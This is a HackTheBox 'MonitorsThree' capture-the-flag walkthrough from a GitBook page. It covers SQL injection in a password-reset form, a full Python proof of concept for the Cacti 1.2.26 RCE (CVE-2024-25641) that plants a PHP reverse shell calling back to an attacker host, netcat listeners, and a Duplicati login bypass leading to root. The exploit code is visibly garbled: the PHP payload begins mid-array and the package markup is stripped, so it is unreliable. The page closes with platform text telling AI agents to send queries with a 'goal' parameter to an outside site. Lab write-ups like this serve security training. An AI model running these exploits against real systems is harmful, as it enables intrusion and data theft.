> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-monitorsthree.md).
# HTB - MonitorsThree
## Enumeration and Foothold
```powershell
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
8084/tcp filtered websnp
```
Browsing to port 80 reveals the domain name as `monitorsthree.htb`
add the domain to the hosts file.
### HTTP
Accessing the domain reveals network solutions page with a login page.
SQLMap confirmed the login page is not vulnerable to sql injection.
There is also a password recovery option where a password can be reset for a valid username.
Testing the password reset functionality revealed a sql error, which strongly suggest the reset functionality is vulnerable to SQL injection.
### SQL Injection
running sqlmap confirmed the vulnerability
The reset functionality is vulnerable to time based blind injection but it would take a lot of time to enumerate the database with this technique. That said, i am gonna flush the session and look for other techniques to exploit.
looking for other techniques revealed that it is also vulnerable to OR based boolean injection.
#### Enumerating database using SQLMap
enumerating table names
i can directly dump the users table for passwords.
```powershell
sqlmap -r request.txt -D monitorsthree_db -T users --dump
___
__H__
___ ___[,]_____ ___ ___ {1.8.4#stable}
|_ -| . [.] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_|
...[snip]...
Database: monitorsthree_db
Table: users
[4 entries]
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| id | dob | email | name | salary | password | username | position | start_date |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| 2 | 1978-04-25 | admin@monitorsthree.htb | Marcus Higgins | 320800.00 | 31a181c8372e3afc59dab863430610e8 | admin | Super User | 2021-01-12 |
| 5 | 1985-02-15 | mwatson@monitorsthree.htb | Michael Watson | 75000.00 | c585d01f2eb3e6e1073e92023088a3dd | mwatson | Website Administrator | 2021-05-10 |
| 6 | 1990-07-30 | janderson@monitorsthree.htb | Jennifer Anderson | 68000.00 | 1e68b6eb86b45f6d92f8f292428f77ac | janderson | Network Engineer | 2021-06-20 |
| 7 | 1982-11-23 | dthompson@monitorsthree.htb | David Thompson | 83000.00 | 633b683cc128fe244b00f176c8a950f5 | dthompson | Database Manager | 2022-09-15 |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
...[snip]...
```
crack-station cracked the password of admin.
with the login info i can be able to login to the application as admin user.
Everything is static on the web application, nothing to exploit here.
Also enumerating hidden vhosts revealed a new vhost called cacti. add the new domain `cacti.monitorsthree.htb` to hosts file.
browsing to the new subdomain revealed a login page, the admin credentials also work here.
version of the cacti is below:
looking for public exploits revealed that the version is vulnerable to Authenticated RCE.
### Cacti 1.2.26 -> Authenticated RCE
used the below poc to exploit the vulnerability
```powershell
#!/usr/bin/python3
import os
import requests
import base64
import gzip
import time
import argparse
import string
import random
import sys
from bs4 import BeautifulSoup
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives import serialization
def get_random_string(length):
letters = string.ascii_lowercase
result_str = ''.join(random.choice(letters) for i in range(length))
return result_str
def check_version(url_to_check):
try:
r = requests.get(url_to_check, timeout=5)
response = r.text
if "Cacti CHANGELOG" in response and "1.2.26" in response and "1.2.27" not in response:
print("[+] Version seems to be 1.2.26")
return True
else:
print("[-] Version doesn't seem to be 1.2.26, proceeding anyway")
return True
except:
print("[!] Could not check version, proceeding anyway")
return True
if __name__ == '__main__':
p = argparse.ArgumentParser(description="CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE")
p.add_argument('--url', help="URL of the Cacti web root", required=True)
p.add_argument('--user', help="username to log in", required=True)
p.add_argument('--password', help="password of the username", required=True)
p.add_argument('--lhost', help="local host to receive the reverse shell", required=True)
p.add_argument('--lport', help="local port to receive the reverse shell", required=True)
p.add_argument('--verbose', help="enable verbose", action='store_true', default=False, required=False)
parser = p.parse_args()
url = parser.url
username = parser.user
password = parser.password
lhost = parser.lhost
lport = parser.lport
verbose = parser.verbose
url = url.rstrip("/")
print("CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE\n")
print("[*] Checking Cacti version...")
time.sleep(0.5)
if not check_version(url + "/CHANGELOG"):
sys.exit(0)
req = requests.Session()
if verbose:
print("[*] Capturing CSRF token...")
r = req.get(url)
soup = BeautifulSoup(r.text, 'html.parser')
html_parser = soup.find('input', {'name': '__csrf_magic'})
if html_parser:
csrf_token = html_parser.get('value')
else:
print("[-] Could not find CSRF token")
sys.exit(0)
if verbose:
print("[+] CSRF token: " + csrf_token)
print("[*] Logging in on " + url + "/index.php")
login_data = {
'__csrf_magic': csrf_token,
'action': 'login',
'login_username': username,
'login_password': password,
'remember_me': 'on'
}
r = req.post(url + "/index.php", data=login_data)
if 'Logged in' in r.text:
print("[+] Successfully logged in as " + username)
else:
print("[-] An error has occurred while logging in as " + username)
sys.exit(0)
random_name = get_random_string(10)
random_filename = random_name + ".php"
payload = """ array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\\n";
}
}
?>"""
print("[*] Generating malicious payload...")
keypair = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = keypair.public_key().public_bytes(encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo)
file_signature = keypair.sign(payload.encode('utf-8'), padding.PKCS1v15(), hashes.SHA256())
b64_payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
b64_file_signature = base64.b64encode(file_signature).decode('utf-8')
b64_public_key = base64.b64encode(public_key).decode('utf-8')
data = """resource/""" + random_filename + """
""" + b64_payload + """
""" + b64_file_signature + """""" + b64_public_key + """"""
signature = keypair.sign(data.encode('utf-8'), padding.PKCS1v15(), hashes.SHA256())
final_data = data.replace("", "" + base64.b64encode(signature).decode('utf-8') + "").encode('utf-8')
f = open(random_filename + ".gz", "wb")
f.write(gzip.compress(final_data))
f.close()
print("[+] Malicious GZIP: " + random_filename + ".gz")
post_data = {
'__csrf_magic': csrf_token,
'trust_signer': 'on',
'save_component_import': 1,
'action': 'save'
}
print("[*] Uploading GZIP file...")
r = req.post(url + "/package_import.php?package_location=0&preview_only=on&remove_orphans=on&replace_svalues=on", data=post_data, files={'import_file': open(random_filename + ".gz", 'rb')})
print("[+] Successfully uploaded GZIP file")
time.sleep(0.5)
print("[*] Validating success...")
soup = BeautifulSoup(r.text, 'html.parser')
html_parser = soup.find('input', {'title': "/var/www/html/cacti/resource/" + random_filename})
if html_parser:
file_id = html_parser.get('id')
post_data = {
'__csrf_magic': csrf_token,
'trust_signer': 'on',
'data_source_profile': 1,
'remove_orphans': 'on',
'replace_svalues': 'on',
file_id: 'on',
'save_component_import': 1,
'preview_only': '',
'action': 'save',
}
r = req.post(url + "/package_import.php?header=false", data=post_data)
print("[+] Success!")
else:
print("[!] Could not find file ID, but might still work")
time.sleep(0.5)
print("[*] Triggering reverse shell by sending GET request to " + url + "/resource/" + random_filename)
time.sleep(0.2)
print("[+] Check your netcat listener!")
os.remove(random_filename + ".gz")
r = req.get(url + "/resource/" + random_filename)
```
```powershell
chmod +x exploit.py
```
Start a listener using `rlwrap nc -lnvp 4444`
running the exploit will give a reverse shell.
## Shell as www-data
make the shell interactive and stable.
```powershell
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@monitorsthree:/$ export TERM=xterm
export TERM=xterm
www-data@monitorsthree:/$
```
the cacti directory have a config.php file which revealed mysql database credentials.
### MYSQL
hash of the user marcus is revealed i can use hashcat or john to crack the hash.
i can now use the creds to login as marcus, ssh to marcus did not work as it expects only public key, so i am gonna use it from the www-data shell.
## Shell as Marcus
i can try reading the ssh keys and use that key to get a stable shell via ssh
copy the private key to Attack machine and give necessary permissions to use the key to login.
looking for running services revealed the below info
Nothing resulted on port 8084.
Port 3306 already enumerated, but there is one more interesting port running which is 8200.
querying the port redirects to a login page.
```powershell
marcus@monitorsthree:~$ curl -v
* Trying 127.0.0.1:8200...
* Connected to localhost (127.0.0.1) port 8200 (#0)
> GET / HTTP/1.1
> Host: localhost:8200
> User-Agent: curl/7.81.0a
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Redirect
< location: /login.html
< Date: Wed, 05 Aug 2026 19:54:42 GMT
< Content-Length: 0
< Content-Type:
< Server: Tiny WebServer
< Connection: close
< Set-Cookie: xsrf-token=GWLZYdLpHfNYqziDQd9v%2FQzqWw3%2BI%2BQq5DsR3mqsmjg%3D; expires=Wed, 05 Aug 2026 20:04:42 GMT;path=/;
<
* Closing connection 0
marcus@monitorsthree:~$
```
```powershell
marcus@monitorsthree:~$ curl -s Duplicati Login
Duplicati
marcus@monitorsthree:~$
```
i can port forward the port 8200 and access the application locally.
### SSH Port Forward
requires a password to access.
enumerating the directories through Marcus shell revealed two database file in the duplicati directory.
download the file locally.
### Reading SQLite3 Database
We found a backup configuration! It's backing up Cacti to `/opt/backups/cacti/`
Get all options for this backup (ID=4)
the docker yml is for duplicati.
pass-phrase is revealed, which is the master password for the Duplicati web interface!
### Bypassing Login Authentication With Server-passphrase
[This Medium post](https://medium.com/@STarXT/duplicati-bypassing-login-authentication-with-server-passphrase-024d6991e9ee) goes into detail about how to take the `server-passphrase`\
and use it to log in. Duplicati does client-side hashing on the input\
password before it sends that to the server. To prevent replays, it uses\
a nonce in a two-request process observed [above](https://0xdf.gitlab.io/2025/01/18/htb-monitorsthree.html#site-2).
Note: Thanks to 0xdf for this method had to crawl a lot to get here.
The input password is combined with the salt and hashed with SHA256:
```
var saltedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Utf8.parse($('#login-password').val()) + CryptoJS.enc.Base64.parse(data.Salt)));
```
Then the result is combined with the nonce to get what is sent back:
```
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse(data.Nonce) + saltedpwd)).toString(CryptoJS.enc.Base64);
```
To test this, I’ll enter “password” and submit, but with Burp Proxy in intercept mode. I’ll let the first request come through, and it stops at the second. In the response from the first, I’ll grab the nonce and the salt, and then in the dev tools calculate the password:
```powershell
──(ajay㉿kali)-[~]
└─$ echo 'Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=' | base64 -d | xxd -p -c 256
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
```
The only important thing here is the “Nonce” value, which I copied. I also noticed that the value of “Salt” was the same as in the .sqlite database.
```powershell
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('YourNonceValueFromBurp') + saltedpwd)).toString(CryptoJS.enc.Base64);
console.log(noncedpwd);
```
now refresh the website again and replace the generate password value and url encode it.
after multiple forwards i am logged in.
### Duplicati Reverse Shell -> Root
To get a reverse shell i am gonna create a shell script on the marcus shell being aware of the /source directory.
Now, all we have to do is create a new backup file and run the script.
start a listener on the attack machine on port 9001 `rlwrap nc -lnvp 9001`
once the listener started click Run Now on the new backup file which gives you reverse shell on the root container.
## Shell as Root
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-monitorsthree.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
